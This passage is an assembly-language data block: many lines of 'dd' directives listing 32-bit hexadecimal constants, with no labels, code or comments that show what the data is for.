dd 0DA2851CDh, 0C21849D8h, 398293F4h, 0C01287EEh, 548F4D6h
dd 8419ABEBh, 497B3B73h, 7718C545h, 22372F93h, 514E2B7Fh
dd 0FC53AE3Bh, 0FD480795h, 96B14D6h, 4B950570h, 0E88CDE68h
dd 0A297DD4Dh, 0B362E93Ah, 228EBD32h, 0BA90E0DEh, 56BFF559h
dd 90CF8BFCh, 0F87C5D80h, 0E0031AB6h, 3F26ED5h, 5C0C3DEh
dd 3FB7C88Ch, 7F4973D9h, 9AB8BFE4h, 3198B5F3h, 74C80D89h
dd 197FE94Fh, 82515CC1h, 3E6C3312h, 0A9785E1Eh, 3F4BAF38h
dd 0FA62EF0Ch, 0E775EB79h, 193D2074h, 87CA6F2Eh, 0D5F673AFh
dd 2F2B2157h, 0D713520Ch, 135C5EFEh, 0C45F6443h, 91BCBB72h
dd 837B3415h, 84B6E1FEh, 459187ABh, 0C78FCA49h, 200DC7E0h
dd 0A2C7F864h, 0CA6D192Eh, 3101DF0Fh, 0CC8E3BFFh, 5537C5C7h
dd 73D824A9h, 0B363C09Bh, 2E23869Ah, 2F1259BAh, 938EB849h
dd 0BEFCA6DBh, 0CFABEFB6h, 655FF4E0h, 0F38C4C5h, 88F11645h
dd 0EB194A0Bh, 98AC84C2h
dd 6DBB3E43h, 2C2BF8DFh, 4E450800h, 9D68B153h, 0C227110Ah
dd 98C3AB18h, 5B85F564h, 0CD940F9Eh, 9859C3E2h, 8C90698Ah
dd 0ED5750E1h, 812FAB0Fh, 8EACF99Ah, 5BF1D940h, 0DF27CD9Ch
dd 4FA98A06h, 0D6ECD7FFh, 8DF2C2B0h, 3277C2C2h, 0A2F4D858h
dd 0AE2F6299h, 0F358251Eh, 247088EFh, 9823155Ch, 9DD69EA4h
dd 0AFFB586Ch, 0BF4B9B94h, 802337D2h, 0ABF596ADh, 0C11CA71Bh
dd 0B8E84A28h, 0A5E816E7h, 0D9867031h, 9D2D8C36h, 23877837h
dd 0E0C66BF0h, 0E0763BEEh, 0AF3B5C09h, 97EA9561h, 0C6E82C35h
dd 4391AF2Dh, 81EC3A75h, 6BDE3B39h, 0DEDC4B14h, 8213D924h
dd 850A56Ch, 25DCE2E9h, 0A0C7F0Fh, 6A0EDCE3h, 1C063DC0h
dd 9D320BCFh, 7AE3052Ch, 0A4BEFA65h, 0C34B8BF0h, 7D8A96AFh
dd 0B7215091h, 4F7333BEh, 0F73C3281h, 523CCBDFh, 0B5F772A4h
dd 0A919075Ah, 97E24D73h, 0FA1349A3h, 0D2879A89h, 0F5601369h
dd 5926FECBh, 0DC6AB1BEh, 840FA4D9h, 0E3BC70F4h, 6408AC0Ah
dd 0AA422573h, 2D650427h, 40FDD142h, 251F65A7h, 0D6FDC2ACh
dd 54765D0Ah, 0E5470190h, 63039A20h, 95BA8FB1h, 0B3905C26h
dd 0A03B6953h, 749CE9C0h, 1B509B67h, 9A90921Bh, 0E38429E3h
dd 0E3134870h, 0C245A98Fh, 0F2150EB3h, 82BDC9D2h, 9E6C435h
dd 896ECEF1h, 0C3D5DA6Eh, 0E7B4D8CFh, 6C822036h, 0F57043D6h
dd 0AE01AD91h, 219F8919h, 5DCFC5BEh, 0E29B43D1h, 808FF4E2h
dd 0DEF130C2h, 0F9739F2Dh, 0E0654721h, 0A878DDA8h, 0E6D03318h
dd 0B976ED7Fh, 6438F6ABh, 5BEA6D2Eh, 0C306B39h, 0A023B2F5h
dd 0B151B8D4h, 8212914Fh, 9D1CD95Ch, 0B87D7C83h, 2E358E57h
dd 0CADB36CBh, 0EC410EB7h, 0A971EF32h, 0C0A5B69h, 1A9CDE90h
dd 8258737Dh, 3A41CD1Eh, 0B1AB19Ch, 0F207FF7Eh, 28354A7Ch
dd 7423B3CEh, 0A8B04F5Bh, 199B8A38h, 27B6CC97h, 3C8F508Ah
dd 0E5D832E9h, 7037231Ah, 7D2CDB4h, 0BF33430h, 92BD9E2Dh
dd 0DD32205h, 0A5ECE19Fh, 4DB56CACh, 0AA7947E9h, 0C7EA21Fh
dd 0CFFF65F8h, 71866393h, 0D0933A73h, 1A24E197h, 286DA9F6h
dd 1CC24483h, 0EBFF99DBh, 437B40E3h, 75528701h, 7EAA67AEh
dd 6F9F45F2h, 0C2486599h, 415FB2AFh, 37DBF968h, 5A12FA8Fh
dd 0F98C0D6Dh, 726AC3B4h, 0BAA0652Eh, 80446490h, 488E5DE0h
dd 698470FCh, 0A2431E60h, 6565E7C3h, 79EE065Bh, 0C15F812Fh
dd 472FEEDBh, 96C0C523h, 46AEE962h, 0E03EE9DFh, 1B52827Fh
dd 4AE18965h, 9DFB3909h, 2F088F2Eh, 1FC9FD6Ah, 0B72E3858h
dd 0FF55FFC3h, 0BC16F4A0h, 551ACC80h, 1EEF4F9h, 0D8D90DB8h
dd 0E1486B34h, 887168E7h, 6BA0D8E2h, 0DC5B33A4h, 0C639FF09h
dd 43BA32E6h, 0A19B59D8h, 64A3081Dh, 548DCAEBh, 0D7A79C36h
dd 16226644h, 72192243h, 5F3E6183h, 0C9E1FFE0h, 4B8A775Bh
dd 4FE9306Bh, 75299316h, 548BF63Dh, 0F5B21A5Fh, 5062E1h
dd 96BDD5C8h, 5A60B799h, 0C1424281h, 51D194D0h, 828B9779h
dd 62FAC9D4h, 0C2CC536Ah, 84D09430h, 5A6CAD23h, 0F6B788C9h
dd 1B608865h, 0CACB93Ah, 0E9C00496h, 9D01768h, 31B57414h
dd 0F8897E0h, 97C62633h, 115C3B4Fh, 72406E5Ch, 4CE295Bh
dd 66B84831h, 2E9DBD2Bh, 90F1C175h, 8FFBE04Dh, 99151BECh
dd 13C635FBh, 10DE0712h, 80FC5129h, 2305C554h, 0C1460F76h
dd 0F51432A2h, 798BB98Ch, 5381E30Ah, 433AB81Dh, 0C679B0FCh
dd 0E1609C6Dh, 0C7BAF290h, 4A6ED6A7h, 4C317C9Ch, 1E2C9240h
dd 77D23FFAh, 502C5F54h, 0CA99FCD5h, 4D15919h, 0C671B875h
dd 0FA801C22h, 6FC6A937h, 0EA77EB38h, 485CAC79h, 53573199h
dd 0BE7DFB9Eh, 88E0A13Dh, 893297A0h, 0D6039ED1h, 0CCA6A285h
dd 33956FEBh, 8AFD79ABh, 0A7EAC483h, 269D7DDDh, 0ED2F674Eh
dd 7203C828h, 9AE7AFDEh, 0C5D10725h, 6E5161E5h, 0A81D096Ch
dd 0FBF705E1h, 0F0AE152Dh, 99D8F2D2h, 86A4A54Eh, 7EF6BF53h
dd 3AA0F6E5h, 8D934A6Eh, 0F988D194h, 625495A0h, 7F404958h
dd 9D72D987h, 7DEBD610h, 35E79572h, 0BF6F060Bh, 1C0AE9ACh
dd 69F758BFh, 807705BCh, 0ABD215C6h, 54031CF4h, 92916AD0h
dd 70AC459Bh, 0EE560E45h, 4E7DD1E1h, 971B491Fh, 2A5C4FE2h
dd 75C75EEEh, 152126C9h, 94B78935h, 0BB38229Dh, 3EDB00E3h
dd 81EDF2ECh, 5D784498h, 5BA7D733h, 4167EC6Bh, 0BEC5B377h
dd 91DC05D1h, 3AF2CCDFh, 0D8DAE7ACh, 37BBE554h, 1CD574D5h
dd 0A103D3C2h, 78C4F30h, 24B7CDFEh, 0F9DFA1Ah, 0BD8B56E1h
dd 9CAE9EE2h, 7522315h, 93FCB833h, 5C2516D1h, 90898335h
dd 0D705D10Fh, 0F9239F81h, 6B4CC566h, 0E1EFA648h, 0BCD5AA93h
dd 0CFE3D532h, 0F7244216h, 2A847F1Bh, 0C81244F4h, 13F982D5h
dd 5B2B42A3h, 0DE259835h, 21EE25DAh, 0C7A3832Ah, 92B57D30h
dd 0CA9CD7EDh, 82073ACEh, 47C2CAACh, 18D48AEh, 2528B779h
dd 0CB98A156h, 6CF74D12h, 32C1E354h, 3FF9421Dh, 34822903h
dd 742CFD93h, 4F1EB036h, 0A1CF47D7h, 6147B1ECh, 73C4A70Dh
dd 65DFDA75h, 0D59C9590h, 8A15C2FAh, 0D720C848h, 3942B10Bh
dd 0AAACD153h, 3DD408E5h, 0D5C903E5h, 7A4F9DCEh, 0FEE9D6C0h
dd 0A6A5BA51h, 600FE0D3h, 0CD4098C5h, 5D437540h, 0C1CD9898h
dd 76B26B75h, 38C0FD8Ch, 6027540Dh, 27394956h, 9B12743h
dd 26A6BDD0h, 77147329h, 3F897288h, 2F6DD7E8h, 0AB61FCB2h
dd 7B631850h, 11574EBEh, 0D3B699F4h, 0C20F8482h, 0B6301659h
dd 894E70FFh, 0DD57A24Ch, 5A6E21F7h, 975BB20Ah, 5810D041h
dd 0EC7A90A2h, 1A8D36E6h, 560FD5A4h, 0F881BF0Ch, 7B50453Fh
dd 12E1571Dh, 24F82485h, 0B402248Fh, 0DA5CCCB3h, 0EBCA19A7h
dd 66BC0DAEh, 4F9B77A4h, 59E309D7h, 1AD7BDD5h, 7A2AF23Ah
dd 0F853ABB8h, 9A8EB530h, 26DCDA1Bh, 0C58A8BACh, 0E3B76EBh
dd 6E630E37h, 0C8CB9E47h, 0E7AACDA3h, 6BA5B2B4h, 836807BFh
dd 7DB48560h, 8EE9D630h, 0C8A9197Ah, 25BE8517h, 0EDE4F555h
dd 0FD3068A1h, 64A88AB0h, 52EAEE3Bh, 7100F313h, 1483F80h
dd 0BF73FC0Ah, 0BC1B93C6h, 0FE6D149Dh, 0F4BB09EFh, 2F4A6CC5h
dd 0FC5303E5h, 72B8EEC5h, 67D427ECh, 0CFED6988h, 8FA7320Ch
dd 0ABB24EA6h, 941A6326h, 90F860B9h, 0AF98A82Eh, 3197F5FAh
dd 56BBEBD2h, 70AFE2E5h, 6DC9FE88h, 3C7161B4h, 49031357h
dd 0D96E6076h, 101EF2BCh, 3DBB3BDBh, 0CB4CA0EEh, 537A7FAAh
dd 0E17F7B17h, 0F366B487h, 0B9AEEE7Eh, 0AA37B2BCh, 0E3D4648Ah
dd 9E9ED6ECh, 0C09B5567h, 855F7001h, 3E9D50B8h, 0CA17287Bh
dd 2A4B9618h, 0A546F999h, 0A38EEFC9h, 0DAB97Dh, 0F6E1A70h
dd 4828F1E5h, 2A9096C1h, 7206E269h, 4416E265h, 6EFE9DB3h
dd 407B55F5h, 12FAEEFDh, 0C5F1E039h, 6184AA3Dh, 0A71EFD3h
dd 0EFB579C9h, 201CD2D3h, 0AF82A827h, 9E1E46FEh, 92E4C8C3h
dd 0E957BDEAh, 4E136891h, 267CF8F5h, 860333D5h, 276773B5h
dd 31C5C4F4h, 91D3CD70h, 0C2C63D70h, 8424B342h, 0E8543E94h
dd 55F9D131h, 0AC35F09Ch, 1548C941h, 0AA1F392Dh, 59B5BC07h
dd 5D8476Ah, 47EDC623h, 8BCF37B5h, 0C2F34961h, 45DA1063h
dd 3A21A198h, 2773DD9Fh, 0FC77823Bh, 0C2957927h, 0E9580E1Bh
dd 0D9711CCFh, 0F9948C23h, 9C93AEDBh, 51411AC1h, 32CE8D8Ah
dd 24B57D87h, 0F4531BA9h, 0B8E7958Dh, 0F09E4761h, 857E40D5h
dd 7300AB43h, 0FB1780F7h, 0A23520BEh, 87163D01h, 0AF33D350h
dd 63FBE7A6h, 0F277FE0h
dd 5D803009h, 36FD3B33h, 2006F51Bh, 9ED194E2h, 5BD9D30h
dd 563A05A8h, 0EE5197D0h, 70E96FE5h, 0C62CC4B0h, 0F973FD40h
dd 603F04A8h, 74845A75h, 0C645FE4Bh, 617D8956h, 0F77FCBB3h
dd 0A48DFFECh, 9A5E7B38h, 7D940E18h, 0D0BBA4B9h, 4C881E3Eh
dd 5C947E0Dh, 0E70A2EF3h, 0C664A1FFh, 0C6A2756h, 7561915Bh
dd 24EB0B14h, 8704FA2Ch, 4ABC0743h, 96D599DEh, 11BB5E9Ch
dd 2CA066CEh, 0A0F1589Eh, 1EB0832Dh, 94FAB3B8h, 0D07F88F3h
dd 582860DBh, 0DEABFE4h, 0A20FC2B1h, 0ECB4B023h, 10694115h
dd 56551563h, 0A9B38D42h, 9F2E84FBh, 0BB8134Fh, 74EA9B35h
dd 0E609364Bh, 1B90D9Fh, 6408FECCh, 0B1B8D8C2h, 9E6369CFh
dd 0B285C6AAh, 0E8B10963h, 5F168AF6h, 7AD3CEA5h, 1644C5B1h
dd 0B5645595h, 35103D86h, 5CD33C70h, 0D5065CB6h, 8EAC7A85h
dd 0E596D8A6h, 0F989C348h, 0A22F22F9h, 0B1CBE613h, 0DB467A3Eh
dd 354B5EDFh, 72740A47h, 4E8C0315h, 0E466D314h, 211AB114h
dd 0B350E5B0h, 147FAFE7h, 0F32A92Dh, 108EC719h, 51C80D1Bh
dd 383FB60Ah, 2376644Ch, 0CBEA5CBAh, 0F8AF2BEBh, 0E6661E6Ah
dd 0FD46E4B6h, 0C63C2D53h, 0D5F713AAh, 0CF16BCEEh, 0BF591A38h
dd 7B695706h, 1A151E45h, 0C8864008h, 1E7EE509h, 773751E0h
dd 7E511DC0h, 7B8FE69Bh, 7004E56Fh, 679739CFh, 0FFD1A86h
dd 9E7B1BA9h, 0EC7280Eh, 2CD9024Dh, 0D976461Eh, 0A912AE59h
dd 8B9E7EB2h, 67C4EA1Bh, 5416542Ch, 8EFD5962h, 41EB29C9h
dd 38B07C2Ah, 0A7B7E836h, 86C83B2Ch, 9F88CBB0h, 0A96FD755h
dd 43B38121h, 0DCD51F5Fh, 0CFD7918Eh, 0D58B80C9h, 42D2CDB2h
dd 0EBBB5043h, 40B8A443h, 0C1FA1628h, 0A3D6E226h, 448624A2h
dd 996B3473h, 2FFB4086h, 0A332EDD9h, 0FD34A9B7h, 9178CE30h
dd 5F757504h, 1C4717A1h, 0EECA3AE3h, 29B7A729h, 428DF8DDh
dd 0ACA53350h, 51869D68h, 0C042D35Ah, 0EAA77966h, 12AB10A2h
dd 1639A21Ah, 6893C365h, 719453A8h, 59DF834Dh, 0B91AD363h
dd 8B486120h, 9B30D395h, 665B0161h, 1D34F8CDh, 60A85141h
dd 0EA3CB028h, 0B1D93BB7h, 1170F2C1h, 0A4FBB970h, 0E964ADB5h
dd 83BEE11Eh, 4184865Fh, 0BB34140Eh, 0E45F2FAh, 0BFED6BBEh
dd 0D559AAD3h, 0F6580B46h, 0C318E963h, 0FFFD4D6Eh, 8E237188h
dd 0A9E78CB0h, 0A17B39BAh, 0EC86C1E8h, 49A0003Ch, 0A82FE3F9h
dd 0DD3A7085h, 20618A63h, 0A4537B23h, 54A6D51Dh, 5F53281Eh
dd 1880E497h, 0A2AD2D51h, 0AB88920Dh, 0A084D538h, 3D4D7111h
dd 70C1BF39h, 7C5B8642h, 0D15AE13Fh, 0CF38F105h, 0F508A567h
dd 0B0DB3D75h, 375E2C7Ah, 0E38DE32Ch, 0F61EA135h, 26EE2D5Ah
dd 0B66C7B28h, 0EE3A10B5h, 4B1216CAh, 0F4B9EA3Eh, 62D7A8A7h
dd 6D6F7642h, 87570755h, 0C2D055AFh, 499D7F60h, 3B9EF415h
dd 4F0AB738h, 0ED3BC7FFh, 7578BF4Fh, 0FB0E6F65h, 9B13735Ah
dd 7CECBA30h, 39DFF772h, 0D441E41Fh, 0D693AD25h, 0AC695387h
dd 0B455DF94h, 87F43D5Dh, 1F1A53Dh, 4BCFEABAh, 0ECFEFFA7h
dd 8EEA9E67h, 0C1A2BB3Fh, 1202D8B1h, 8451E591h, 0D41E4BBDh
dd 0AEF04A57h, 54E23EB3h, 904C7EEDh, 35B52911h, 6C92B42Bh
dd 1E03DF8Ah, 70ECF7Eh, 13190AD9h, 0B90056A2h, 0BE443C8Eh
dd 210F5D14h, 10882D30h, 0DFE04D2Fh, 440BEE2Ah, 0B8912365h
dd 0ED26F553h, 2E1E1123h, 8F9D5D96h, 0FDE8FF98h, 3331D1A5h
dd 0E24D227Dh, 76BB901Dh, 149B88D0h, 6F879FABh, 4779E5A9h
dd 0CEF98ED2h, 93D9F799h, 0B225AD0Eh, 0E39955C4h, 0B9ACF68Ch
dd 30FB6839h, 6B0606D9h, 918AD388h, 812895E6h, 0B4BA24D7h
dd 7FD825DDh, 7564AF24h, 39451C95h, 70A81C37h, 0B23694D2h
dd 0E8FB4AFCh, 47543DD8h, 0AA32464Eh, 0EE37427Bh, 971C0878h
dd 873C7919h, 0D296158Ah, 7992C0D0h, 63A41AFh, 14832C1Fh
dd 91B0BF0Ch, 87C62E8Ch, 16D5EA84h, 5F313A06h, 23222795h
dd 0A1E1883Dh, 7E707F50h, 48EFFBC3h, 0E0A0F248h, 448BC964h
dd 0F2C2F20h, 0EB32C3EFh, 539A576Ah, 0DF904645h, 52BDC8B3h
dd 208FE130h, 2CCD4709h, 2DCD1835h, 0EE0056Dh, 97C2C390h
dd 5B708BD3h, 9146C09Dh, 0D021E3EAh, 12A47058h, 0C5CA218Ah
dd 0CC69AD73h, 0AEA72803h, 972C6BFAh, 54DC563Ah, 77C33B73h
dd 6E584CA3h, 4632867Dh, 8AC260A0h, 614A0F98h, 6449D0AEh
dd 0FC72119Dh, 80B34F97h, 88CE0077h, 7C0C959Ch, 1E76D318h
dd 4F0BBCB0h, 0D859822Fh, 73CFF7C4h, 1FBA18E3h, 49EF15C2h
dd 619F29DDh, 0EDBC0358h, 0B7DD3698h, 2D686567h, 0E4215A22h
dd 284A5CBh, 0F4B8A58Ah, 5D3A1209h, 0CE88DFF4h, 9F107439h
dd 785C4ACFh, 3C615734h, 7E728B72h, 0E753D0B0h, 0BC620952h
dd 0A9BB1906h, 0E9BA46D4h, 8A582312h, 0B88591CDh, 0D095F030h
dd 4D8558AEh, 0EF14883h, 0D39A5D4h, 0A9BE856Bh, 0EBD86F65h
dd 0D000EEA2h, 0E8FD2482h, 53058700h, 0A9BBC9CFh, 417D49BEh
dd 0F784CE26h, 4BF2DC33h, 3BD0AF7Fh, 0BC1F6C77h, 3D8D175h
dd 0E960C3B6h, 0CCD1C0BBh, 0BC5AB24Ah, 5B5E1622h, 1100B5E6h
dd 288FAD5Eh, 0F5B0832Bh, 0B4976522h, 602CD68Eh, 0A8776EB2h
dd 0E86F925Ch, 89B7DDE1h, 0FA43139Ch, 5F8EB32Fh, 0FF300CDBh
dd 0EC71D3FBh, 0F5917111h, 27019D9Eh, 81D46DEBh, 43254861h
dd 75F2F40Fh, 0E3A75EB3h, 0A827AF44h, 74A29848h, 97401141h
dd 5034267Ch, 81C6AE23h, 163333F1h, 0F67A317h, 9B6F78D9h
dd 1DCA4E7Fh, 0E70DC3D1h, 0B3B4C56Bh, 497D24DDh, 21E96B49h
dd 959243DBh, 0D595451h, 0CC8A4C59h, 12CA8E9Fh, 0B1383604h
dd 0B3BE06FEh, 80E7EA8Bh, 0F882A436h, 0BFEE4C7Eh, 0B49DADC6h
dd 92E24788h, 33E9D837h, 52B1246Dh, 0F2ABF611h, 8567CE0h
dd 0C5ED39Ch, 7728F9B0h, 0CDAB2877h, 0E435CC38h, 77F70ACEh
dd 0D3903CF4h, 9887A6E6h, 7F3783EDh, 0C1D9B46h, 0EF73AE29h
dd 0F792F16Ch, 89CEEC73h, 0BBA89466h, 70700CCAh, 0C16937F9h
dd 0C650E6D9h, 0E1893A4Dh, 0E0AE6FD8h, 0C538167Ah, 0A56E4642h
dd 0B8B034DEh, 29A04D07h, 0B143ABAFh, 4D8D08F7h, 32C37E76h
dd 0CF1394ECh, 6C1D4693h, 5C0FC49Fh, 0D27AD63Ah, 0CF3ECB89h
dd 404059Ch, 0FD884AC5h, 96150545h, 7636B438h, 0E0932C6Dh
dd 42777BD1h, 58C34B87h, 3E3EEC4Eh, 0A39B012Fh, 9ADB6E0Dh
dd 5267FF6Dh, 7F87B345h, 0B6E10EFFh, 126CB2F9h, 2B76A58Dh
dd 47AA9D0Dh, 5B0EA29Bh, 0A2FC17DEh, 0F7E8C32Ah, 0A2743AB1h
dd 35D6DE91h, 72E97294h, 0C3C6787Bh, 2B1CD5F8h, 7C2D1AECh
dd 0F23D126Bh, 5B3B10F5h, 0EB26C8D7h, 0C616F0D5h, 450BEE88h
dd 0E5561333h, 7EE4FB7Eh, 0CADD337h, 0E937B58Ch, 42A15CF4h
dd 19F056F9h, 3EE71ED3h, 5B23F9A5h, 0D713E1CEh, 0FB4F5264h
dd 0B77A3D3Fh, 0FD608AA3h, 4997C38Ch, 0BA546CA9h, 24ED8148h
dd 9C24A327h, 1B5CFC21h, 2A315E84h, 0B5763526h, 0D22302EBh
dd 3659E80h, 0C3FA71h, 7F0B1740h, 0BCB409FCh, 0C632D5BAh
dd 1067A925h, 0CAE6D183h, 4E4F7352h, 8EC64BDCh, 0C08AF9F0h
dd 0C0D7D7D3h, 8A2078A5h, 2B0CE6BAh, 0B0DA6AEEh, 81BA468Eh
dd 0FBF01F0Bh, 0A7E0A3E4h, 1AFB6A05h, 7496F0BDh, 0D189DA31h
dd 787F15B5h, 6554F602h, 0DF9D2355h, 743F39FAh, 0E52D3EE8h
dd 2C95E859h, 0F162C596h, 90425247h, 0B770106Ah, 882C0171h
dd 0B6B7F088h, 9B24C965h, 0FCA9293h, 534B641Dh, 90ECBB1Eh
dd 0E068FAC4h, 0B1D48A59h
dd 9D93F5D5h, 0D21F6267h, 2FBF00C4h, 0F7DC8478h, 0E08679BFh
dd 0DB5653Ch, 8DCC9A62h, 8A5907AAh, 0D4325670h, 785C981Bh
dd 679CDA34h, 9DD9F0F3h, 0B4F1CDC0h, 14211F26h, 2A9238D4h
dd 1D43960Bh, 0D0464941h, 1654355h, 5A330988h, 9FB971C8h
dd 742830D0h, 0ECC73A7Dh, 0BE272CD8h, 6FB7D90h, 4CB00EECh
dd 0E3479AA7h, 0B28F1420h, 2FAA1C4Ch, 9C6E45FFh, 19BC1203h
dd 70E82926h, 7C5F9236h, 2126DE45h, 5823C412h, 99C3390Dh
dd 0F66C1B45h, 266290D5h, 324E3C4Ah, 0CFFD282Eh, 42FD3014h
dd 4BB9AE7Bh, 55B3964Ah, 7BF637A0h, 58986524h, 0AE10EDF9h
dd 38CFE0BEh, 598D2D15h, 40E9B46Ah, 105CA839h, 4F1FCA83h
dd 6D3EA7E1h, 0A1A85403h, 0A3513E0Bh, 435C8A7Ah, 6A8E834Ah
dd 0A51C77BCh, 128CA883h, 95D8CF27h, 80CA240Bh, 0D006A2FEh
dd 9889974Fh, 44DB29FEh, 6CE46033h, 2F68484Ch, 860CC760h
dd 180D0352h, 0C496D8B3h, 5D9E4063h, 1F4E8C17h, 3CE2C201h
dd 0F774CE82h, 9811026Bh, 0A18C1E9Ah, 14538066h, 0E1EE50A5h
dd 0DCDAB34Fh, 39EADB07h, 0E4996720h, 0B96A38ADh, 332932E0h
dd 65560957h, 45BC7DEFh, 0A7EA7604h, 14CA1FCEh, 3E7C4BE5h
dd 0DECDFC5Dh, 0ED90CF02h, 5B96762Ah, 4F488AACh, 7D395210h
dd 0A72FEB7Dh, 291DDA99h, 1E329D6Dh, 9E128966h, 0CC943BF1h
dd 0CDD875E4h, 78334FB2h, 86B48E5h, 4E8BE3A9h, 0ED03484Eh
dd 0DDBEDA07h, 64A5AF05h, 8CEB872Ah, 0C1BA9606h, 0F23A2A2Bh
dd 0C8E26976h, 1238B624h, 5B3C3417h, 0F9D5674Ah, 4C8EEBAh
dd 9C513F1Fh, 6A5FA75Bh, 9B72F1B4h, 0AA69C222h, 869426F8h
dd 2EC47306h, 81161210h, 2C56FF7Ah, 9271AFC8h, 2583DC2h
dd 0C2065E4Dh, 0C01E45F7h, 9E100BDBh, 0D0E31B1Dh, 185FC010h
dd 0B90D799h, 0C190FF5Eh, 1F0B25D2h, 0F2539D27h, 5AF5AF88h
dd 4A0FEB0Dh, 59B7C16h, 2270C183h, 5F4A0813h, 0CEDAA6A0h
dd 0FA42848Ah, 44C788ECh, 40BBAB6Fh, 121FBA56h, 0F59ADD64h
dd 0D5D282F2h, 0A2F880CDh, 0DBA239E4h, 8C5A5F62h, 0E8A1B9C5h
dd 1DABCF2Dh, 4FD89CC7h, 9A16A0Ch, 0FCF3632Dh, 1086AD0Ch
dd 5904AF3h, 5133087Eh, 804E9C28h, 63363710h, 3856D14h
dd 4869CDE2h, 0CA6CD938h, 918E4675h, 634996B8h, 26687E67h
dd 11F8ED9Dh, 97BC935Eh, 9FCC994Bh, 0B875402h, 973E86A9h
dd 0F568A819h, 0B2103149h, 0CD697EB4h, 5D2863C8h, 0AEB4152Eh
dd 0F6C13E0Fh, 0EDB48957h, 0BFBB2A63h, 149FF6E6h, 0B42FF337h
dd 5837AEDh, 5770F5EDh, 7B5A48BBh, 0ABB732C0h, 99308632h
dd 5C0B1040h, 0A4254E36h, 0E9A659F2h, 0B90819DAh, 68C11636h
dd 8E7B9273h, 71548D6Fh, 0F2161076h, 0F47A3F1Ch, 31DA8BCDh
dd 384DE46Bh, 0EA6443DDh, 2FE53F94h, 96B9F5A6h, 90964A2h
dd 0EF868BD3h, 26EDF134h, 0C5A378B0h, 3CA9C66Ch, 5BB39538h
dd 318CE7Dh, 5ADE81B0h, 0E7AA043Dh, 5812528h, 3B951D5Ah
dd 2D5BE2Bh, 280C8932h, 9962B130h, 97AE3DB2h, 737AD75Eh
dd 0B9643167h, 3FFDE93Bh, 32CD094Bh, 0B15BFB0Bh, 0ABB559F6h
dd 0EAE92Dh, 0EBBE984Ah, 0EF54F02Eh, 8872455Bh, 0C656FFACh
dd 0A33AF1C6h, 838C2DCDh, 4740945Ah, 4DF6A8D9h, 0C245D37h
dd 0C93E6ADAh, 2CB44B3Fh, 0C062A8F8h, 0C0911E25h, 0E89389FFh
dd 0ABA006B7h, 0A89DC491h, 0D678BF5Dh, 0D9F7A01h, 7DA3963Dh
dd 54112C6Fh, 5D4EFDCBh, 83BACE16h, 0E01CA4F0h, 0A431C7B3h
dd 0B6178382h, 0FC7A7011h, 39A3E7E8h, 55F1516Eh, 0BEB49B55h
dd 2F74FFB5h, 0F5DAFC78h, 0FD0FFC3Bh, 0EDC7E811h, 6B67BFFEh
dd 8962470h, 0F71640FAh, 60E0E8Eh, 17AF9B8Ah, 29B9FD46h
dd 0E700106Fh, 0AB7D09E0h, 995D6766h, 0BF82F52Ah, 5840DCBDh
dd 677C96C6h, 0B2DD4338h, 0EA6DABEDh, 0E3E0EAACh, 21DA66C6h
dd 2A859A99h, 0B5EAB2E0h, 0A3BFAE7h, 2406EB7Ah, 0A80F4AEDh
dd 0CBC8F5A2h, 0BF0DAD16h, 524B5172h, 33134E7Dh, 0A3A616E4h
dd 7CAC6B09h, 0AFCD9CDDh, 29571F19h, 38363945h, 0B70CB63Ah
dd 3B1CE653h, 0A74FA677h, 65467761h, 9CD46AB3h, 5232AA14h
dd 32EAC014h, 1391427Fh, 0A6D109E8h, 24B5B7D8h, 94D8C8A2h
dd 30C76B5Ch, 0AB07D45Dh, 847F9B8Ah, 2BA31286h, 0B36FDA02h
dd 933ACB9h, 26BC072Fh, 0FCF50CFFh, 0B36F03AEh, 9E1D1DEh
dd 0D171809Bh, 8F667727h, 0A57F2B24h, 0F9C45FE2h, 0FE1B257Ah
dd 15278D85h, 0D147659Ch, 0D2498663h, 1F616299h, 20EBCAE3h
dd 0CBAD4B5Dh, 31A67FB9h, 38A195D8h, 0CA5BEF2Ah, 41293E15h
dd 19F33947h, 747EEA2Bh, 28B332F1h, 0D284199Ah, 0B445F33Fh
dd 0A1D6AC12h, 776699F1h, 7E2F2102h, 2AAE010Ah, 53E57FD5h
dd 4D7D7F51h, 1B647745h, 157405C9h, 5D2CE9AAh, 6FFEB559h
dd 8169C9A2h, 0B32658D6h, 16A127FBh, 215B5C25h, 0F5854CB2h
dd 770A507Bh, 0EFEFFFEh, 0AD9309C8h, 0A41C757Bh, 0FADC3414h
dd 98DDF864h, 35308039h, 0CE07AF96h, 514C82ECh, 0FFB6E1B6h
dd 0BB5D95F6h, 23D59C56h, 0EC16CE1Ch, 58A1F73Ch, 9D362D12h
dd 0EE62629Bh, 8C965311h, 0D49C8750h, 3E206107h, 839E4A75h
dd 0FBC19E3Bh, 0AFED3581h, 0E25ABB33h, 6B3A928Fh, 0BD073FD0h
dd 39F1FC5Bh, 0E4A8D6E4h, 0F8391E37h, 2EFE3FF8h, 0C47B125Fh
dd 58D27CA5h, 6B7C0E07h, 0A4E9D4DAh, 40C7D694h, 4E01E392h
dd 0DA6F408Eh, 46EC0A32h, 487F8F7Ah, 875BFFEFh, 0A77081CEh
dd 0ED6AFCC0h, 0A36C7227h, 3C9AD008h, 4B3B5529h, 8A91E429h
dd 0D844C4ABh, 42217575h, 619ADA36h, 3E9B8B70h, 1F311C76h
dd 0E4E21174h, 0F36B0070h, 0AC24B81Dh, 0A6998E8Bh, 2027E676h
dd 208A6DBDh, 0D85850A0h, 87FE24B5h, 4A37418Ch, 0FDCCD99Eh
dd 793B75D9h, 4EB7B165h, 149EC322h, 59846DCAh, 9F9F5079h
dd 7DDBFA37h, 0D56DFF54h, 0B85489FEh, 0BCEDD4Ch, 0EAAB66DEh
dd 42FF0550h, 4A253089h, 5CFEF820h, 2B64B424h, 1CF149E1h
dd 80EEFD5Eh, 12367EB4h, 5A039DBEh, 0DFC78292h, 48B06D5Ah
dd 7F588B66h, 0B117F0FAh, 43DF1172h, 0EF368E0Fh, 776A6977h
dd 0D097D1ACh, 0ABD7C8A3h, 906B6DF0h, 35B12EF0h, 6F87CCBh
dd 0C2A91A1Ah, 185729C6h, 0A537D38Dh, 952876B9h, 8914E163h
dd 0FE172D5Eh, 35ADF2B3h, 0CA81E91Ah, 50309916h, 81F3B2F1h
dd 0D43538F2h, 2378B8A7h, 84AEB7A5h, 0A41CAAD1h, 0B5010636h
dd 7FEE8915h, 6A17CE24h, 0B4EE2B82h, 486535DDh, 7ED46393h
dd 0BE8CA3B9h, 0C7A0905Dh, 256E55A1h, 0B4718C42h, 325618CDh
